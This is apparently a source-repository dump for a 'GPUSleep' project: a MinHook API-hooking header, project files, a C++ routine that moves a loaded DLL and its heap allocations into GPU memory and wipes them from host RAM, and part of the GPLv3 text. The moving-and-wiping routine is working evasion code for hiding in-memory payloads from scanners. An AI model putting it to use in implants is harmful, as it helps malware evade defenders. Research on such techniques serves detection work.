| 55 | // The hook for the specified target function is not created yet. 56 | MH_ERROR_NOT_CREATED, 57 | 58 | // The hook for the specified target function is already enabled. 59 | MH_ERROR_ENABLED, 60 | 61 | // The hook for the specified target function is not enabled yet, or already 62 | // disabled. 63 | MH_ERROR_DISABLED, 64 | 65 | // The specified pointer is invalid. It points the address of non-allocated 66 | // and/or non-executable region. 67 | MH_ERROR_NOT_EXECUTABLE, 68 | 69 | // The specified target function cannot be hooked. 70 | MH_ERROR_UNSUPPORTED_FUNCTION, 71 | 72 | // Failed to allocate memory. 73 | MH_ERROR_MEMORY_ALLOC, 74 | 75 | // Failed to change the memory protection. 76 | MH_ERROR_MEMORY_PROTECT, 77 | 78 | // The specified module is not loaded. 79 | MH_ERROR_MODULE_NOT_FOUND, 80 | 81 | // The specified function is not found. 82 | MH_ERROR_FUNCTION_NOT_FOUND 83 | } 84 | MH_STATUS; 85 | 86 | // Can be passed as a parameter to MH_EnableHook, MH_DisableHook, 87 | // MH_QueueEnableHook or MH_QueueDisableHook. 88 | #define MH_ALL_HOOKS NULL 89 | 90 | #ifdef __cplusplus 91 | extern "C" { 92 | #endif 93 | 94 | // Initialize the MinHook library. You must call this function EXACTLY ONCE 95 | // at the beginning of your program. 96 | MH_STATUS WINAPI MH_Initialize(VOID); 97 | 98 | // Uninitialize the MinHook library. You must call this function EXACTLY 99 | // ONCE at the end of your program. 100 | MH_STATUS WINAPI MH_Uninitialize(VOID); 101 | 102 | // Creates a Hook for the specified target function, in disabled state. 103 | // Parameters: 104 | // pTarget [in] A pointer to the target function, which will be 105 | // overridden by the detour function. 106 | // pDetour [in] A pointer to the detour function, which will override 107 | // the target function. 108 | // ppOriginal [out] A pointer to the trampoline function, which will be 109 | // used to call the original target function. 110 | // This parameter can be NULL. 111 | MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal); 112 | 113 | // Creates a Hook for the specified API function, in disabled state. 114 | // Parameters: 115 | // pszModule [in] A pointer to the loaded module name which contains the 116 | // target function. 117 | // pszTarget [in] A pointer to the target function name, which will be 118 | // overridden by the detour function. 119 | // pDetour [in] A pointer to the detour function, which will override 120 | // the target function. 121 | // ppOriginal [out] A pointer to the trampoline function, which will be 122 | // used to call the original target function. 123 | // This parameter can be NULL. 124 | MH_STATUS WINAPI MH_CreateHookApi( 125 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal); 126 | 127 | // Creates a Hook for the specified API function, in disabled state. 128 | // Parameters: 129 | // pszModule [in] A pointer to the loaded module name which contains the 130 | // target function. 131 | // pszTarget [in] A pointer to the target function name, which will be 132 | // overridden by the detour function. 133 | // pDetour [in] A pointer to the detour function, which will override 134 | // the target function. 135 | // ppOriginal [out] A pointer to the trampoline function, which will be 136 | // used to call the original target function. 137 | // This parameter can be NULL. 138 | // ppTarget [out] A pointer to the target function, which will be used 139 | // with other functions. 140 | // This parameter can be NULL. 141 | MH_STATUS WINAPI MH_CreateHookApiEx( 142 | LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget); 143 | 144 | // Removes an already created hook. 145 | // Parameters: 146 | // pTarget [in] A pointer to the target function. 147 | MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget); 148 | 149 | // Enables an already created hook. 150 | // Parameters: 151 | // pTarget [in] A pointer to the target function. 152 | // If this parameter is MH_ALL_HOOKS, all created hooks are 153 | // enabled in one go. 154 | MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget); 155 | 156 | // Disables an already created hook. 157 | // Parameters: 158 | // pTarget [in] A pointer to the target function. 159 | // If this parameter is MH_ALL_HOOKS, all created hooks are 160 | // disabled in one go. 161 | MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget); 162 | 163 | // Queues to enable an already created hook. 164 | // Parameters: 165 | // pTarget [in] A pointer to the target function. 166 | // If this parameter is MH_ALL_HOOKS, all created hooks are 167 | // queued to be enabled. 168 | MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget); 169 | 170 | // Queues to disable an already created hook. 171 | // Parameters: 172 | // pTarget [in] A pointer to the target function. 173 | // If this parameter is MH_ALL_HOOKS, all created hooks are 174 | // queued to be disabled. 175 | MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget); 176 | 177 | // Applies all queued changes in one go. 178 | MH_STATUS WINAPI MH_ApplyQueued(VOID); 179 | 180 | // Translates the MH_STATUS to its name as a string. 181 | const char* WINAPI MH_StatusToString(MH_STATUS status); 182 | 183 | #ifdef __cplusplus 184 | } 185 | #endif 186 | -------------------------------------------------------------------------------- /BasicDLL/BasicDLL.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {CF8AA149-5AA7-4694-A7A3-5996F52C969D} 24 | Win32Proj 25 | BasicDLL 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | DynamicLibrary 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | DynamicLibrary 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | Disabled 91 | true 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | Console 97 | true 98 | 99 | 100 | 101 | 102 | 103 | 104 | Level3 105 | Disabled 106 | false 107 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | false 110 | ProgramDatabase 111 | false 112 | 113 | 114 | Console 115 | true 116 | true 117 | 118 | 119 | 120 | 121 | 122 | 123 | Level3 124 | MaxSpeed 125 | true 126 | true 127 | true 128 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 129 | true 130 | 131 | 132 | Console 133 | true 134 | true 135 | true 136 | 137 | 138 | 139 | 140 | 141 | 142 | Level3 143 | Disabled 144 | true 145 | true 146 | false 147 | NDEBUG;MYMESSAGEBOX_EXPORTS;_WINDOWS;_USRDLL;%(PreprocessorDefinitions) 148 | true 149 | Default 150 | false 151 | false 152 | MultiThreadedDLL 153 | 154 | 155 | Console 156 | true 157 | true 158 | true 159 | false 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | -------------------------------------------------------------------------------- /GPUSleep/GPUSleep.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 16.0 23 | {1F20C321-B5A0-4A6E-B094-184E8F8AB129} 24 | Win32Proj 25 | GPUSleep 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | 85 | 86 | 87 | 88 | 89 | Level3 90 | Disabled 91 | true 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | 95 | 96 | Console 97 | true 98 | 99 | 100 | 101 | 102 | 103 | 104 | Level3 105 | Disabled 106 | true 107 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | 114 | 115 | 116 | 117 | 118 | 119 | Level3 120 | MaxSpeed 121 | true 122 | true 123 | true 124 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 125 | true 126 | 127 | 128 | Console 129 | true 130 | true 131 | true 132 | 133 | 134 | 135 | 136 | 137 | 138 | Level3 139 | MaxSpeed 140 | true 141 | true 142 | false 143 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 144 | true 145 | false 146 | false 147 | MultiThreadedDLL 148 | 149 | 150 | Console 151 | true 152 | true 153 | true 154 | false 155 | 156 | 157 | 158 | 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | 172 | 173 | 174 | -------------------------------------------------------------------------------- /GPUSleep/MoveDLL.cpp: -------------------------------------------------------------------------------- 1 | #include "utils.h" 2 | #include "cuda.h" 3 | 4 | // DST ORI 5 | std::map heapLocationMap; 6 | 7 | PIMAGE_NT_HEADERS GetNTHeaders(HMODULE imageBase) 8 | { 9 | PIMAGE_DOS_HEADER dos_header = (PIMAGE_DOS_HEADER)imageBase; 10 | return (PIMAGE_NT_HEADERS)((SIZE_T)imageBase + dos_header->e_lfanew); 11 | } 12 | 13 | PIMAGE_OPTIONAL_HEADER GetOptionalHeader(HMODULE imageBase) 14 | { 15 | return (PIMAGE_OPTIONAL_HEADER)((LPVOID)((SIZE_T)imageBase + ((PIMAGE_DOS_HEADER)(imageBase))->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER))); 16 | } 17 | 18 | ULONG_PTR MoveDLLToGPUStrorage(HMODULE dll, PDWORD SizeOfHeaders, PNVIDIA_API_TABLE Api) { 19 | 20 | // Get headers 21 | DWORD oldProtect; 22 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dll; 23 | PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)dll); 24 | 25 | // Allocate memory for the DLL 26 | ULONG_PTR storage = RtlAllocateGpuMemory(Api, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap)); 27 | 28 | printf("RtlAllocateGpuMemory: %08x\n", storage); 29 | 30 | // copy headers to mem location 31 | *SizeOfHeaders = (DWORD)(dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders); 32 | Api->CudaMemoryCopyToDevice(storage, dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders); 33 | 34 | // Get first section 35 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader); 36 | 37 | // Copy all sections to memory 38 | for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++) 39 | { 40 | DWORD SectionSize = section->Misc.VirtualSize; 41 | printf("Section: %s - VirtualAddress %08x - VirtualSize %d - Moved to %08x\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize, (ULONG_PTR)((SIZE_T)storage + section->VirtualAddress)); 42 | 43 | ULONG_PTR dst = (ULONG_PTR)((SIZE_T)storage + section->VirtualAddress); 44 | Api->CudaMemoryCopyToDevice(dst, (byte*)dll + section->VirtualAddress, SectionSize); 45 | 46 | //zero out section 47 | VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, PAGE_READWRITE, &oldProtect); 48 | memset((LPVOID)((SIZE_T)dll + section->VirtualAddress), 0, SectionSize); 49 | VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, oldProtect, &oldProtect); 50 | } 51 | 52 | ULONG_PTR dst = (ULONG_PTR)((SIZE_T)storage + NTheader->OptionalHeader.SizeOfImage); 53 | for (auto it = heapMap.cbegin(); it != heapMap.cend(); ++it) 54 | { 55 | printf("Moved %08x to %08x\n", it->first, dst); 56 | 57 | heapLocationMap[(LPVOID)dst] = it->first; 58 | 59 | Api->CudaMemoryCopyToDevice((ULONG_PTR)dst, it->first, it->second); 60 | 61 | memset(it->first, 0, it->second); // zero out 62 | dst = (ULONG_PTR)((SIZE_T)dst + it->second); 63 | } 64 | 65 | //zero module headers 66 | VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &oldProtect); 67 | memset((LPVOID)dll, 0, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders); 68 | VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, oldProtect, &oldProtect); 69 | 70 | return storage; 71 | } 72 | 73 | VOID MoveDLLFromGPUStrorage(HMODULE dll, ULONG_PTR storage, DWORD SizeOfHeaders, PNVIDIA_API_TABLE Api) { 74 | DWORD oldProtect; 75 | 76 | // Set mem to zero and copy headers to mem location 77 | VirtualProtect((LPVOID)dll, SizeOfHeaders, PAGE_READWRITE, &oldProtect); 78 | Api->CudaMemoryCopyToHost((PVOID)dll, storage, SizeOfHeaders); 79 | VirtualProtect((LPVOID)dll, SizeOfHeaders, oldProtect, &oldProtect); 80 | 81 | // Get headers 82 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dll; 83 | PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)dll); 84 | 85 | // Get first section 86 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader); 87 | 88 | // Copy all sections to memory 89 | for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++) 90 | { 91 | DWORD SectionSize = section->Misc.VirtualSize; 92 | printf("Section: %s - VirtualAddress %08x - VirtualSize %d - Moved from %08x\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize, (ULONG_PTR)((SIZE_T)storage + section->VirtualAddress)); 93 | 94 | LPVOID dst = (void*)((SIZE_T)dll + section->VirtualAddress); 95 | VirtualProtect(dst, SectionSize, PAGE_READWRITE, &oldProtect); 96 | Api->CudaMemoryCopyToHost((PVOID)dst, storage + section->VirtualAddress, SectionSize); 97 | VirtualProtect(dst, SectionSize, oldProtect, &oldProtect); 98 | } 99 | 100 | for (auto it = heapLocationMap.cbegin(); it != heapLocationMap.cend(); ++it) 101 | { 102 | printf("Moved %08x to %08x\n", it->first, it->second); 103 | 104 | Api->CudaMemoryCopyToHost((PVOID)it->second, (ULONG_PTR)it->first, heapMap[it->second]); 105 | } 106 | 107 | heapLocationMap.clear(); 108 | 109 | Api->CudaMemoryFree(storage); 110 | } 111 | 112 | // ########## TESTING FUNCTIONS ####### 113 | HMODULE MoveDLLToStrorage(HMODULE dll) { 114 | // Get headers 115 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dll; 116 | PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)dll); 117 | 118 | // Allocate memory for the DLL 119 | HMODULE storage = (HMODULE)VirtualAlloc(0, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 120 | 121 | printf("VirtualAlloc: %08x\n", storage); 122 | 123 | // Set mem to zero and copy headers to mem location 124 | memset(storage, 0, NTheader->OptionalHeader.SizeOfImage); 125 | memcpy(storage, dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders); 126 | 127 | // Get headers from the new location 128 | dosHeader = (PIMAGE_DOS_HEADER)storage; 129 | NTheader = GetNTHeaders((HMODULE)storage); 130 | 131 | //zero module headers 132 | DWORD oldProtect; 133 | VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &oldProtect); 134 | memset((LPVOID)dll, 0, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders); 135 | VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, oldProtect, &oldProtect); 136 | 137 | // Get first section 138 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader); 139 | 140 | // Copy all sections to memory 141 | for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++) 142 | { 143 | DWORD SectionSize = section->Misc.VirtualSize; 144 | printf("Section: %s - VirtualAddress %08x - VirtualSize %d\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize); 145 | 146 | LPVOID dst = (void*)((SIZE_T)storage + section->VirtualAddress); 147 | memcpy(dst, (byte*)dll + section->VirtualAddress, SectionSize); 148 | 149 | //zero out section 150 | VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, PAGE_READWRITE, &oldProtect); 151 | memset((LPVOID)((SIZE_T)dll + section->VirtualAddress), 0, SectionSize); 152 | VirtualProtect((LPVOID)((SIZE_T)dll + section->VirtualAddress), SectionSize, oldProtect, &oldProtect); 153 | } 154 | 155 | LPVOID dst = (LPVOID)((SIZE_T)storage + NTheader->OptionalHeader.SizeOfImage); 156 | for (auto it = heapMap.cbegin(); it != heapMap.cend(); ++it) 157 | { 158 | printf("Moved %08x to %08x\n", it->first, dst); 159 | 160 | heapLocationMap[dst] = it->first; 161 | 162 | memcpy(dst, it->first, it->second); 163 | memset(it->first, 0, it->second); // zero out 164 | dst = (LPVOID)((SIZE_T)dst + it->second); 165 | } 166 | 167 | return storage; 168 | } 169 | 170 | VOID MoveDLLFromStrorage(HMODULE dll, HMODULE storage) { 171 | DWORD oldProtect; 172 | 173 | // Get headers 174 | PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)storage; 175 | PIMAGE_NT_HEADERS NTheader = GetNTHeaders((HMODULE)storage); 176 | 177 | // Set mem to zero and copy headers to mem location 178 | VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, PAGE_READWRITE, &oldProtect); 179 | memcpy(dll, storage, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders); 180 | VirtualProtect((LPVOID)dll, dosHeader->e_lfanew + NTheader->OptionalHeader.SizeOfHeaders, oldProtect, &oldProtect); 181 | 182 | // Get headers from the new location 183 | dosHeader = (PIMAGE_DOS_HEADER)dll; 184 | NTheader = GetNTHeaders((HMODULE)dll); 185 | 186 | // Get first section 187 | PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(NTheader); 188 | 189 | // Copy all sections to memory 190 | for (int i = 0; i < NTheader->FileHeader.NumberOfSections; i++, section++) 191 | { 192 | DWORD SectionSize = section->Misc.VirtualSize; 193 | printf("Section: %s - VirtualAddress %08x - VirtualSize %d\n", section->Name, (SIZE_T)dll + section->VirtualAddress, SectionSize); 194 | 195 | LPVOID dst = (void*)((SIZE_T)dll + section->VirtualAddress); 196 | VirtualProtect(dst, SectionSize, PAGE_READWRITE, &oldProtect); 197 | memcpy(dst, (byte*)storage + section->VirtualAddress, SectionSize); 198 | VirtualProtect(dst, SectionSize, oldProtect, &oldProtect); 199 | } 200 | 201 | for (auto it = heapLocationMap.cbegin(); it != heapLocationMap.cend(); ++it) 202 | { 203 | printf("Moved %08x to %08x\n", it->first, it->second); 204 | 205 | memcpy(it->second, it->first, heapMap[it->second]); 206 | } 207 | 208 | heapLocationMap.clear(); 209 | 210 | memset(storage, 0, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap)); 211 | VirtualFree((LPVOID)storage, NTheader->OptionalHeader.SizeOfImage + mapSize(heapMap), MEM_FREE); 212 | } 213 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using 